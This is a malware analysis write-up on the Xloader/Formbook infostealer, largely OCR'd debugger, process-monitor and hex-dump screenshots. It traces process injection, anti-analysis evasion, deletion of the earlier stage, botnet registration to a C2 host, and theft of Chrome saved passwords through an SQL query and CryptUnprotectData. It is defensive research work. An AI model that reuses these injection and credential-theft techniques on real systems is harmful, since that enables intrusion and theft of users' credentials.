1:08:4 🏶ida64.exe	9016 🐂 ReadFile C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🏶ida64.exe	9016 🐂 Create File MappC:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🏶ida64.exe	9016 🐂 QuerySecurityFile C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🏶ida64.exe	9016 🐂 QueryNameInfoC:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 Mida64.exe	9016 Process Create C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 💱ida64.exe	9016 🐂 QuerySecurityFile C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🖬ida64.exe	9016 🧱 QueryBasicInforC:\Windows\SysWOW64\chkdsk.exe	SUCCESS

• This is also one of the anti-analysis techniques used by xloader. It doesn't directly open the process itself but injects shellcode in some random process which in turn opens the SysWOW64 randomized binary in a suspended state and then retrieves its process information and continue with the execution.

Image: Process Hacker [DESKTOP-002]H Hacker View Tools Users Helg Refresh Options mail Find Processes Services Network Disk)	Ls 🚧 System info	ormation [1:08:4 • dump.e 1:08:4 • dump.e 1:08:4 • dump.e 1:08:4 • dump.e 1:08:4 • dump.e 1:08:4 • dump.e 1:08:4 • dump.e	xe 4444 xe 4444 xe 4444 xe 4444 xe 4444	CreateFile	C:Windows\SysWOW64\gdi32ull.dll C:Windows\SysWOW64\msvcp_win.dll .C:Windows\SysWOW64\msvcp_win.dll C:Windows\SysWOW64\ucrtbase.dll .C:Windows\SysWOW64\ucrtbase.dll .C:Windows\SysWOW64\ucrtbase.dll C:Windows\SysWOW64\ucrtbase.dll	SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS
Name	PID	CPU I/O total	Private b	1:08:4 Total dump.e		CreateFile	C:\Windows\SysWOW64\ucrtbase.dll C:\Windows\SysWOW64\imm32.dll	SUCCESS
chkdsk.exe	6500		532 kB	1:08:4 Indump.e			C:\Windows\SysWOW64\imm32.dll	SUCCESS
CIRCORCAC	0500		552 KD	1:08:4 📧 dump.e	xe 4444	Close File	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 📧 dump.e	xe 4444	🐂 Create File	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 📧 dump.e	xe 4444	🐂 Create File Mapp.	C:\Windows\SysWOW64\imm32.dll	FILE LOCKED WITH
				1:08:4 🎟 dump.e	xe 4444	🐂 Query Standard I.	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 🎟 dump.e		🐂 Create File Mapp.	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 📧 dump.e		🐂 Close File	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 🎟 dump.e	xe 4444	¢ [©] Load Image	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 🎟 dump.e	xe 4444	🐂 QueryNameInfo.	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:4 📧 dump.e	xe 4444	🐂 Create File	C:\Windows\SysWOW64\imm32.dll	SUCCESS
				1:08:5 🎩 dump.e		🐂 CreateFile	C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
				1:08:5 🏊 dump.e	xe 4444	🐂 Query Standard I.	C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
				1:08:5 📧 dump.e	xe 4444	🐂 ReadFile	C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
				1:08:5 🎩 dump.e	xe 4444	🐂 Close File	C:\Windows\SysWOW64\chkdsk.exe	SUCCESS

- In Ida64, the shellcode is injected which starts the process and return the process information back to stage2 malware of xloader.
- The RWX memory region could be seen in IDA64.
- This is just a **dead code** after opening the target process in suspended state.

0xfbbcdfc000	Private: Commit	12 kB	RW+G	Stack (thread 6012)				
0x420000	Mapped: Com	1,076 kB	RWX		1,076 kB		1,076 kB	1,076
0x2d464710000	Private: Commit	64 kB	RWX		8 kB	8 kB		

Injection # 2:

- The second injection is performed in the chkdsk.exe (randomized SysWOW64 binary)
- There are two buffers injected in the chkdsk.exe.
- 1 buffer of 180KB and other of 40KB
- Since this malware is performing so many injections, it is very difficult to keep track of everything so we got an idea of creating a tool for detecting process injections.
- I would like to give special thanks to <u>Osama Ellahi</u>, for creating this tool in short period of time which is very useful in detecting injections of such malware.

_	I				
	PID	Process Name	Memory Region	Size	Architecture
	4444	dump	6164480	188416	x32
	4444	dump	19136512	65536	x32
	4444 Stage2	dump	19202048	65536	x32
	4444 xloader	dump	20381696	184320	x32
	4444	dump	24969216	184320	x32
	4444	dump	25165824	3457024	x32
	4444	dump	31784960	1101824	x32
	9016	ida64	4325376	1101824	x64
	6500	chkdsk	9043968	184320	x32
	stage3 rando syswow64 vio process				Random runn process that starts target victim stage3 process

Tool link: https://github.com/Jhangju/injectionview

- The smaller buffer contains the original chkdsk.exe bytes.
- I also found the function that writes shellcode in the **180KB** empty buffer.
- This is also a shared memory region between the formbook payload and victim process of chkdsk.exe
- Because the buffer is simultaneously being written in both processes.

Debug View	X Structure	es 🗵 🗄	Enums
Pseudocode-B 🗵 🔝	Pseudocode-A	Hex View-1	□ <i>8</i> ×
.text:00600210 push esi		0136FFC0 ?? ?? ?? ?? ?? ?? ??	
.text:00600211 mov esi, [ebp+arg 0]		0136FFD0 ?? ?? ?? ?? ?? ?? ?? ??	
.text:00600214 sub esi, eax		0136FFE0 ?? ?? ?? ?? ?? ?? ?? ??	
		0136FFF0 ?? ?? ?? ?? ?? ?? ?? ??	
`		01370000 D8 69 63 DB B5 C8 AB BF 01370010 C2 01 43 45 1F 2C 1B D8	
🗾 🚄 🖼) 38 3F CD 06 6D 35 65 85 h(² Û.C.8?Í.m5e
.text:00600216			A 48 6B FC 8F D6 47 08 95 'îÿ6mÇ€êHkü.ÖG.•
.text:00600216 loc 600216;		01370040 AC D5 9D D4 29 09 77 96	
.text:00600216 mov dl, [eax]		01370050 5A 5F A8 C3 50 DA FA 09	
.text:00600218 dec ecx			92 02 77 7F D8 09 30 67 ûÆñ;.KN¼'.w.Ø.0g
.text:00600219 mov [esi+eax], dl		01370070 6C F1 0C 6F D7 BA AD 66	
.text:0060021C inc eax		01370080 4C 6C 31 EA 18 6E B1 02	2 FE B8 D6 B3 48 1A 32 EB Ll1ê.n±.b Ö ³ H.2ë
.text:0060021D test ecx, ecx			3 59 DD 92 B3 94 B8 0F 89 ei.@'Þ;.YÝ'³".‰
.text:0060021F ig short loc 600216		013700A0 4A 6A EF 42 0F 90 80 68	3B BB 8F 88 6F D7 50 62 JjïB€n;».^o×Pb
		013700B0 C4 D0 EA FE 20 76 A9 65	5 0B 9D 66 6B 74 7F 33 0B ÄĐêþ∙v©efkt.3.
_		19	9 58 35 26 6D CB F5 D8 31 ð²ÞE™fÉ.X5&mËõØ1
	chkdsk.exe (6500) (0x8a0000 - 0x8cd000)	- D × 62	
		36	
.text:00600221 pop esi	00000000 d8 69 63 db b5 c8 ab bf b6 85	c3 55 91 80 a4 7b .icU{ 🔥 🕻	
	00000010 c2 01 43 45 1f 2c 1b d8 al 4a	cd 43 f5 82 9d 84CE.,J.C	5 1F 05 8B F1 69 62 BA 6E _êí)eª∢ñib≌n
† †	00000020 68 28 b2 5f db 7f 43 0d 38 3f	cd 06 6d 35 65 85 h(C.8?m5e. 94	A 86 B3 C9 52 76 D6 25 EE dÅÅ%ë¥4š†³ÉRvÖ%î
💶 🛃 🖼	00000030 27 ee ff 36 6d c7 80 ea 48 6b	fc 8f d6 47 08 95 '6mHkG 80) 59 E5 49 F8 C0 E3 D6 8E ¤ùCb3ʺ.YåI¢ÀãÖŽ
.text:00600222	00000040 ac d5 9d d4 29 09 00 00 00 00	00 00 00 00 00 00)	↓ 6C FC 12 83 38 A0 A4 44 Ÿ§8ë°m.dlü.f8 ¤D
.text:00600222 loc 600222:	00000050 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00	5 3A CB C8 53 CB 41 AC 4A άδΧĆBμ-:ËÈSËA¬J
.text:00600222 pop ebp	00000060 00 00 00 00 00 00 00 00 00 00		↓ 67 08 59 7E 41 C5 E1 C7 êu¦*0Ôg.Y~AÅáÇ
.text:00600223 retn	00000070 00 00 00 00 00 00 00 00 00 00		B9 86 50 EF FD 4F 1A DA ³Yw.WX♀.¹+PïýO.Ú
.text:00600223 sub 600203 endp	00000080 00 00 00 00 00 00 00 00 00 00		5 5F 77 F2 2A DB 81 3F C2 wFyb.Õ¦F_wò*Û.?Â
.text:00600223	00000090 00 00 00 00 00 00 00 00 00 00		
	000000a0 00 00 00 00 00 00 00 00 00 00		5 75 4B DA B8 C6 D7 A1 BB ,3ä{y.Ú.uKÚ.Æx;»
	00 00 00 00 00 00 00 00 00 00 00 00 00		2 72 A1 96 FC 1D F2 31 73 .ôw.£.y,r¦-ü.ò1s 5 30 46 07 BD 7F CA 5A 8D c.VŴ¶e@;0F.%.ÊZ.
	000000c0 00 00 00 00 00 00 00 00 00 00		
	00 00 00 00 00 00 00 00 00 00 00 00 00		0 A8 DB A6 66 53 9E 66 A4 M.XOQG UTSZTA 0 E7 D9 7D FE 69 BB 5E 58§²È-uÀçÙ}þi»^X
	000000e0 00 00 00 00 00 00 00 00 00 00 0		C/ US /U FC OS DD DC 589*E-UAÇU}p1»*X
	00 00 00 00 00 00 00 00 00 00 00 00 00		046 (Synchronized with EAX)
	00000100 00 00 00 00 00 00 00 00 00 00 0		
812,498) 0002021F 0060021F: sub_600203+1C (Sy 00000110 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00	>

- Here in xloader payload, the memory region is also being written simultaneously
- This is the same partially decrypted shellcode that I have displayed above, with most of the decrypted strings.

•	From here	onwards, t	he s	stage3	of form	nbook	will be	executed.
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0x1715000 0x1755000 0x1755000 0x1755000 0x12c5000 Private: Commit 12 kB RW+6 xW+6 xB Stack (thread 152) xB 0x1755000 0x12c5000 Private: Commit 12 kB RW+6 xW+6 xB Stack (thread 152) xB - - × 0x104c000 0x12c40000 0x12c5000 Private: Commit 8 kB RW+6 xW+6 Stack 32-bit (thread 152) - - × 00000000 8 69 63 db b5 c8 ab bf b6 85 c3 55 91 80 a4 7b .cc0.v(🔳 dump.exe (4444) Properties					_	
Base address Type Size Protect Use Total WS Private WS Shareable WS <th>General Statistics</th> <th>Performance Threads</th> <th>Token Modu</th> <th>es Memory</th> <th>Environment Handles</th> <th>GPU Comment</th> <th></th> <th></th>	General Statistics	Performance Threads	Token Modu	es Memory	Environment Handles	GPU Comment		
0x1715000 Private: Commit 12 kB RW+6 Stack (thread 612) 0x1755000 Private: Commit 12 kB RW+6 Stack (thread 612) 0x1240000 Private: Commit 12 kB RW+6 Stack (thread 1252) 0x144000 Private: Commit 12 kB RW+6 Stack (thread 1252) 0x144000 Private: Commit 8 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 8 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 8 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 8 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 8 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 8 kB 8 kB 180 0x1270000 Private: Commit 12 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 12 kB RW+6 Stack (thread 1252) 0x1240000 Private: Commit 12 kB RW+6 Stack (threa	Hide free region	s					Strings	Refresh
0x1755000 Private: Commit 12 kB RW+G Stack (thread 6412) 0x1755000 Private: Commit 12 kB RW+G Stack (thread 1520) 0x144000 Private: Commit 12 kB RW+G Stack 32-bit (thread 1252) 0x144000 0x164000 0x164000 0x164000 0x164000 0x125000 0000000 gs 69 63 db b5 c3 ab bf b6 65 c3 55 91 80 a4 7b ·1cU r kB 0x1250000 00000010 c2 01 43 45 1f 2c 1b dB a1 4 cd 43 55 82 94 84 ·.CEU.cU r hB 0x1270000 00000001 c2 01 53 64 d4 25 96 00 00 00 00 00 00 00 00 00 00 00 00 00	Base address	Туре	Size	Protect	Use	Total WS	Private WS Shareable WS	Shared V ^
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0x1c4c000 Private: Commit 8 k8 RW+G Stack 32-bit (thread 1252) 0x1d4c000 0x1c4d000 0x1c4d000 0x1c4d000 0x1c4d000 0x1c4d000 0x1240000 00000010 8 69 63 db bf bf<	0x1755000	Private: Commit	12 kB	RW+G S	Stack (thread 6412)			
0x1c4c000 Private: Commit 8 k8 RW+G Stack 32-bit (thread 1252) 0x1d4c000 0x1c4d000 0x1c4d000 0x1c4d000 0x1c4d000 0x1c4d000 0x1240000 00000010 8 69 63 db bf bf<	0x17c5000	Private: Commit	12 kB	RW+G	Stack (thread 1620)			
Dx1z40000 Dx1z40000	0x1c4c000	Private: Commit	8 kB			2)		
0x12+0000 00000000 2 6 6 3 b 5 c 3 5 5 1 80 a4 7b .1c 1 k8 0x1250000 00000000 c 2 1 3 4 1 4 cd 3 5 2 6 3 4 5 1 2 1 3 4 cd 3 5 2 6 3 6 5 5 h	0x1d4c000							
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0x1370000 00000030 27 ee ff 36 6d c 8 b fc 8 fd 64 7 8 95	0x1250000						kB	
0x1770000 00000040 ac d5 9d d4 29 09 0	0x1370000						180 kB	180
0x17d0000 00000050 00	0x1770000			_			40 kB	40
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0x76620000 000000000000000000000000000000000000								
0x76701000 000000000 000000000 000000000 000000000 00000000								
0x76731000 00000060 00<								
0x767b1000 000000f0 00<								
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00000140 00 <	0000	00000120 00 0	00 00 00 00	00 00 00 00	0 00 00 00 00 00 0	00 00		-
00000150 00 <								-
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000001b0 00 00 00 00 00 00 00 00 00 00 00 00 0								
		000001c0 00 0	00 00 00 00	00 00 00 00	0 00 00 00 00 00 0	00 00		_

- Finally, after resuming the suspended process in chkdsk.exe
- It exits using ExitProcess API


Debug View	A	Structures		Enums	
	eudocode-A 🗵	Hex View-1		□ ₽ ×	👿 General registers
.text:005FE993 push ebp .text:005FE994 mov ebp, .text:005FE996 mov ecx, .text:005FE996 mov ecx, .text:005FE996 push 36h ; .text:005FE9A0 push 36h ; .text:005FE9A2 push 0 .text:005FE9A4 push ecx .text:005FE9A5 lea esi .text:005FE9A5 lea esi .text:005FE9A6 push eax .text:005FE9AC push eax .text:005FE9AC push eax	esp [ebp+arg_0] [eax+360h] '6' [eax+0AA8h] [FF2B3 [ebp+arg_4] [es1]	76634620 76 FF 76634630 20 69 76634640 FF 25 76634660 18 69 76634660 18 69 76634660 88 FF 76634660 48 64 76634660 36 55 76634660 36 55 76634660 33 65 76634660 33 65 76634660 33 65 76634660 33 65 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55 76634660 36 55	0 01 6C 76 31 45 F8 0 00 00 83 4D AC FF A4 00 83 65 C8 00 E0 00 83 65 E4 00 D4 00 83 65 D8 00 6 69 76 89 45 0C 83	25 28 20 63 76 FF 25 33 CC CC CC CC E8 77 FF 7! CC CC CC CC 60 23 6A 71 51 51 83 E0 33 C5 50 81 83 4D 9C F1 83 65 DC 01 83 65 D4 00 83 7D 0C 00 65 FC 00 81 45 88 50 81	EAX 76634650 & KERNEL32.DLL:kernel32_ExitProcess EBX 00000000 & ECX 763F1DE3 & EDX 00000000 & ESI 010FF464 & Stack[00001FAC]:010FF464 EDI 010FF894 & Stack[00001FAC]:010FF894 EBP 010FE1D0 & Stack[00001FAC]:010FE1D0 ESP 010FE1C8 & Stack[00001FAC]:010FE1C8 EIP 005FE988 & sub_SFE993+28 EFL 00000206
<pre>.text:005FE9BD pop esi .text:005FE9BE pop ebp .text:005FE9BF retn .text:005FE9BF retn .text:005FE9BF sub_SFE993 en .text:005FE9BF</pre>	dp	76634720 78 FF 76634730 00 00 76634740 D8 77 76634764 D8 77 76634770 EB 04 76634770 EB 04 76634780 00 02 76634780 80 02 76634780 45 D0 76634780 45 A0 76634780 45 A0 76634780 45 A0 76634780 45 A0 76634700 FF FF 76634700 FF FF 76634700 FF FF	88 45 C8 88 40 38 2F 88 45 D8 83 C0 45 C0 38 45 E4 C2 63 4D C0 38 C1 77 83 65 98 00 P B6 0 C0 E8 87 FF FF 99 45 B4 83 7D B4 96 88 40 84 96 84 96 88 40 84 96 84 96 88 40 84 96 88 97 40 00 70 97 97 98 40 10 00 88 87	83 7D E4 04 89 45 D8 81 44 3B 45 D1 19 88 45 D1 09 C7 45 91 45 98 85 C1 99 F4 01 04 01 0F 86 81 40 5A E8 75 68 3E 00 04 45 D8 83 C1 88 45 C4 82	Stack view 010FE1B8 010FE9BC Stack[00001FAC]:010FE9BC 010FE1BC 010FF464 Stack[00001FAC]:010FF464 010FE1C0 00000000 010FE1C1 000000000 010FE1CC 000000000 010FE1C2 00000000 010FE1CB 000000000 010FE1CB 0100FE9BC 010FE1C0 0100FE9BC Stack[00001FAC]:010FE9BC 010FE1D4 005EE00C .text:005EE00C 010FE1D8 010FE9BC Stack[00001FAC]:010FE9BC 010FE1D4 005EE00C .text:005EE00C 010FE1D8 010FE9BC Stack[00001FAC]:010FE9BC 010FE1D8 010FE9BC Stack[00001FAC]:010FE9BC

Stage 3: Partially Decrypted Xloader 4.3

Before resuming the thread on injected process. I have attached x32dbg to the victim process to continue debugging further. In the EAX register, the address of xloader injected code is already set by stage2 malware. So, I just jumped to address in disassembly and added breakpoint on it. Then from the stage2 malware I allowed the malware to continue hence resuming the thread on stage3. Stage2 malware has exited and we have debugger attached to the entry point of stage3 malware which I will continue from here. This whole execution flow is very similar to stage2 malware. So, I will move forward with only key details in this section:

Defeating Anti-Analysis:


- Xloader has decrypted some of its functions and now migrated to the process **msiexec.exe** (which was **chkdsk.exe** in previous examples)
- Before resuming the thread, I've attached debugger to the injected process and continued my analysis from there.
- This is the same cycle being repeated first.
- I have to defeat anti-analysis techniques again
- Similar to stage2 I have bypassed anti-analysis techniques again and correct sequence of bytes have been generated as highlighted below



Command: Commands are comma separated (like assembly instructions): mov eax, ebx


Decryption/Deobfuscation:

- This injected stage3 payload performs the same initial steps. •
- It performs anti-vm techniques and checks •
- Decrypt further library names and load using LdrLoadDll •
- Decrypt API names and match hashes. Finally load those APIs from the injected fresh copy of **ntdll** •
- A few of the APIs that it uses for Process Injection are resolved: •
 - LookupPrivilegeValue
 - SeDebugPrivilege
 - NtAdjustPrivilegeToken



Indicator Removal:

- It will delete the stage2 malware with following sequence of APIs
 - NtCreateFile
 - NtQueryInformationFile
 - NtReadFile
 - NtClose
 - ZwDeleteFile



Process Injection:

- The next series of APIs being used are:
 - NtCreateSection
 - NtMapViewOfSection
 - NtAllocateVirtualMemory
 - NtOpenProcessToken
 - NtQueryInformationToken
 - ConvertSidToStringW
 - NtAllocateVirtualMemory
- It is preparing another shellcode to inject further in some process. There are a few more RWX sections created in the memory of infected process

✓ Hid	e free	regions
-------	--------	---------

Base address	Туре	Size	Protect	Use	Total WS	Private WS
0x3005000	Private: Commit	12 kB	RW+G	Stack (thread 2128)		
0x312c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 2128)		
0x3165000	Private: Commit	12 kB	RW+G	Stack (thread 2020)		
0x345c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 2020)		
0x4bb5000	Private: Commit	12 kB	RW+G	Stack (thread 3132)		
0x4bfc000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 3132)		
0x4c35000	Private: Commit	12 kB	RW+G	Stack (thread 6788)		
0x4c7c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 6788)		
0xb60000	Mapped: Com	56 kB	RWX		56 kB	
0xb6f000	Mapped: Com	12 kB	RWX		12 kB	
0x2ed0000	Mapped: Com	180 kB	RWX		180 kB	
0x2f00000	Private: Commit	28 kB	RWX		24 kB	24 kB
0x4c80000	Mapped: Com	180 kB	RWX		180 kB	
0x4ce0000	Private: Commit	572 kB	RWX		572 kB	572 kB
0x4de0000	Private: Commit	3,376 kB	RWX		3,376 kB	3,376 kB
0x5130000	Private: Commit	572 kB	RWX		52 kB	52 kB
0x2bd0000	Private: Commit	4 kB	RX		4 kB	4 kB
0x2be0000	Private: Commit	4 kB	RX		4 kB	4 kB
0x2bf0000	Private: Commit	4 kB	RX		4 kB	4 kB
0x2f10000	Private: Commit	4 kB	RX		4 kB	4 kB
0x2f20000	Private: Commit	4 kB	RX		4 kB	4 kB
0x2f30000	Private: Commit	4 kB	RX		4 kB	4 kB
0x6cff1000	<					


System Information Discovery:

- It retrieves the system information from the Registry like the **"Product Name"**, **"CurrentBuild"** of OS etc
 - NtCreateKey
 - NtQueryValueKey

04552070 000 884 4568440 004 4568440 004 4568440 004 4568440 004 4568440 004 4568440	I U D Y La Lon Herry La La Dalka E La La Dalka E La La Dalka E La Function ne ^A I dryock I dryock I dryock I dryock J Labortz I dryock I Exported entry 301. NtCreateKey I dryock J Labortz I dryock I Exported entry 301. NtCreateKey I dryock J Labortz I dryock I dryock I dryock J Roblekt Roblekt <th>00 00 00 00 00 00</th>	00 00 00 00 00 00
	Output window	
	lumina: Invalid remote certificate	
	The initial autoanalysis has been finished.	
	Caching 'Exports''ok Y	
	Python	
5 🛞 Watch 1 🛛 🕼 🖇 Struct	AU: idle Down Disk: 61GB	
ASCIT ASCIT <th< th=""><th>Descent Descent return to 02EECCF return to 02EECCF freturn to 02ECCF fr</th><th>\CurrentVersion"</th></th<>	Descent Descent return to 02EECCF return to 02EECCF freturn to 02ECCF fr	\CurrentVersion"

Dynamic Library/API resolution:

• Loading libraries wininet.dll using LdrLoadDll



Process Enumeration & Injection:

- Looks like the next injection will be in "explorer.exe".
- It enumerates all the process by looping through the list of processes returned by "NtQuerySystemInformation"
- NtCreateMutant
- NtCreateSection
- NtMapViewOfSection
- NtDelayExecution
- NtAllocateVirtualMemory

	^	A Hide FPU	1
02ED9070 lea eax,dword ptr ss:[ebp-180] push 104 push eax call 2EEE450 lea edx,dword ptr ss:[ebp-630] push ecx lea edx,dword ptr ss:[ebp-180] push edx call 2EEEA60 add esp,10 lea eax,dword ptr ss:[ebp-180]		EAX 02E9E8BC "explorer.exe" EBX 0002C3F0 ECX 0000000 EDX 02E9E400 EBP 02E9E430 ESI 02E9E130 & "explorer.exe" ESI 02E9E130 ESI 02E9E130 ESI 02E9E3000 EIP 02ED907C EFLAGS 00000202	
push eax push 7C push esi call 2EE77C0 add esp,8 push eax call 2EE7820		ZF 0 PF 0 AF 0 OF 0 SF 0 DF 0 CF 0 TF 0 IF 1 LastError 00000000 (ERROR_SUCCESS) LastStatus C0000034 (STATUS_OBJECT_NAME_NOT_FOU	ND)


💀 Detect Injection

Γ		PID	Process Name	Memory Region	Size
	•	3528	explorer	180617216	1060864
		748	x32dbg	100466688	65536

			Wireshark · Packet 75 · e	ns33	_ = =				
▶ Ethe	rnet II, Src: VMware	wire (2024 bits), 253 bytes cap e_7a:f8:90 (00:0c:29:7a:f8:90),	Dst: VMware_c9:e3:74 (00:						
	Internet Protocol Version 4, Src: 192.168.40.128, Dst: 192.168.40.129								
	smission Control Pro rtext Transfer Proto	ptocol, Src Port: 50243, Dst Po	rt: 80, Seq: 1, Ack: 1, Le	n: 199					
			ia///Y6Ua2aSpd1//iaE0TM+AYU	fgwZdw6pXiefmqDK3UKUvU0zP0ienhyZlhQLlQ==	Raca-kilecyMorWT HTTP/1 1)				
	st: www.twin68s.onli		JqvvToogzg3pdivJqEoin+Axot	1 gw2dwopx1e1mqbK30K0V002F01e1my21mQE1Q=4	ageg-killernorwr minryi.i				
	nnection: close\r\n								
\r	·\n								
		tp://www.twin68s.online/ip45/?F	rsBV1=61X0MzEqTL0km2CFi50c	bPoboYYnoU1fZBjqVvY6Ug2gSpdlVjqE0IM+AXUq	fgwZdw6pXiefmqDK3UKUvU0zP				
	ITTP request 1/1]								
	esponse in frame: 78								
	rtext Transfer Proto	DCOL							
► Da	ita (7 bytes)								
0000	00 0c 29 c9 e3 74 00	0 0c 29 7a f8 90 08 00 45 00	··)··t <mark>··)</mark> z····E·						
		0 06 e2 2f c0 a8 28 80 c0 a8							
		b ac 79 85 ed 85 c2 36 50 18							
		7 45 54 20 2f 69 70 34 35 2f 1 3d 36 6c 58 4f 4d 7a 45 71	···y··GE T /ip45/ ?FrsBV1= 6lXOMzEq						
		3 46 69 35 4f 64 62 50 6f 62	TL0km2CF i50dbPob	Sent Through					
		1 66 5a 42 6a 71 56 76 59 36	oYYnoU1f ZBjqVvY6	C					
		4 6c 56 6a 71 45 30 49 4d 2b	Ug2gSpdl VjqE0IM+	Explorer.exe					
		7 5a 64 77 36 70 58 69 65 66	AXUqfgwZ dw6pXief						
		b 55 76 55 4f 7a 50 30 69 65 1 4c 6c 51 3d 3d 26 67 63 67	mqDK3UKU vUOzP0ie nhvZlhOL lO==&aca						
		9 4d 4f 72 57 54 20 48 54 54	=k1lECYM OrWT HTT						
		a 48 6f 73 74 3a 20 77 77 77	P/1.1.H ost: www						
		8 73 2e 6f 6e 6c 69 6e 65 0d	.twin68s .online						
		3 74 69 6f 6e 3a 20 63 6c 6f	-Connect ion: clo						
00f0	73 65 0d 0a 0d 0a 00	0 00 00 00 00 00 00	se····						

Botnet registration:

- The data it collects and sends in the first request is provided below:
- The Magic word: XLNG
- Bot ID: 202293EF
- Xloader Version: 4.3
- OS: Windows 10 Enterprise x64
- Username: base64_encoded



Stealer:

- Xloader is an infostealer and form grabber.
- After registering the device, it looks for all the things it could steal from the victim
- There are a large number of email clients, browsers, ftp clients, messaging apps that it tries to look for in different paths to fetch and steal the data

12.44	6732 QueryNameInfoC:\Windov 6732 CreateFile C:\Windov 6732 CreateFile C:\Windov 6732 CreateFile C:\Windov 6732 QuerySecurityFile C:\Windov 6732 QuerySecurityFile C:\Windov 6732 CloseFile C:\Windov	ves SyseWOW64 winninet, dll ves SyseWOW64 winninet, dll	rent Version \Windows Messaging Subsystem\Profiles\Outlook	SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS BUFFER OVERFLOW SUCCESS SUCCESS NAME NOT FOUND	SyncType: SyncType0ther Image Base: (X73-70000, Imac Name: Windows∖SysWOW64 Desired Access: Generic Read Desired Access: Read Control, Information: Owner Information: Owner Desired Access: Read
<					>
Showing 24 of 2,768,986 eve	ents (0.00086%) Backed by vi	irtual memory			
Ump Dump 5 Watch 1 ASCII ASCII 0 00 36 00 \$5,2.0.8; 0.0.3 0 00 35 00 \$5,2.0.8; 0.0.3 0 00 52 00 \$5,2.0.8; 0.0.3 0 00 52 00 \$5,2.0.8; 0.0.3 0 00 52 00 \$5,2.0.8; 0.0.3 0 00 52 00 \$5,2.0.8; 0.0.5 0 00 50 00 \$5,2.0; 0.5,-0.7; 0 00 65 00 \$1,1,-0; 0.5,-1,-2.7; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 65 00 \$1,-5,-1,-0; 0.5,-1,-2,-1; 0 00 60 00 \$1,-5,-1,-0; 0.5,-1,-0; 0 00 00 00 \$1,-5,-1,-0; 0.5,-1,-0;	3.0.1. N.A.R. N.A.R. J. N.A.C. J. J. C. V. V. C. V. V. C. M. C. J. C. C. J. C. C. J. C. J. J. C. J.	D215/03/30 D210/380 D210/380 D210/381 D210/381 <thd210 381<="" th=""> D210/381 D210/381</thd210>	return to 02EDCEB9 from 02EEC590 L"\\Registry\\User\\S-1-5-21-3847139605 L"\\Registry\\User\\S-1-5-21-3847139605 L"\\Registry\\User\\S-1-5-21-3847139605 L"\Registry\\User\\S-1-5-21-3847139605-2	-2422517245-208126947-100 -2422517245-208126947-100 -2422517245-208126947-100	D1\\SOFTWARE\\Microsoft\\Window: D1\\SOFTWARE\\Microsoft\\Window: D1\\SOFTWARE\\Microsoft\\Window:


A	Hide FPU
OZEE4665 mov cbx,doord ptr ssi[ebp+C] get 2EE4667 OZEE467 OZEE4667 OZEE4667 OZEE4667 OZEE467 OZEE4667 OZEE470 OZEE470	Hide FPU EAX 02560986 00000016 EXX 0256040 L"C:\Users\\shaddy\\AppData\Local\Google\\Chrome\User Data\Default\Login Data" EDX 0258040 L"C:\Users\\shaddy\\AppData\Local\Google\Chrome\User Data\Default\Login Data" EDX 0258040 L"C:\Users\\shaddy\AppData\Local\Google\Chrome\User Data\Default\Login Data" EDX 0258050 Lastisticatus 00000000 (STATUS_SUCCESS) Lastisticatus 00000000 (STATUS_SUCCESS) Lastisticatus 000000000000000000000000000000000000
push 46 push ecx lea edx,dword ptr ss:[ebp-46] nuch edx	ST(7) BFFF80000000000000000000000 X8777 Empty -1.000000000000000000000000000000000000

- If it finds anything, it then tries to steal that data
- Like in case of chrome, it founds login data and it will fetch the data using sqlite3 queries
- It uses winsqlite3.dll to extract passwords
- The query is "SELECT origin_url, username_value, password_value FROM logins"
- It decrypts that data using crypt32.CryptUnprotectedData from the key found in local state

; real carianora per astrestise; i estiset seccer stign_arti asename_ratae; passiora_ratae mon		
push eax push ecx ; ecx: "eô'÷ †"	^	A Hide FPU
Ecall edx test eax,eax ine zete4FF		EAX 0321CEBC "SELECT origin_url, username_value, password_value FROM logins" EAX 02E9EF58 ECX 032013C8
	1	EDX 6D5AF450 <winsqlite3.sqlite3_prepare_v2> EBP 02E9DA44</winsqlite3.sqlite3_prepare_v2>
<pre>OzeE4469 mov cas.whord ptr ss:[ebp-4] mov cas.whord ptr ds:[es1+3AC]; ecx:"e0'+ t" push eas</pre>		ESE 02590A14 ESI 03250E60 EDI 02590E64 CI \Users\\shaddy\\AppData\\Local\\Temp\\3r9Pk-75_" EIP 02E5445F
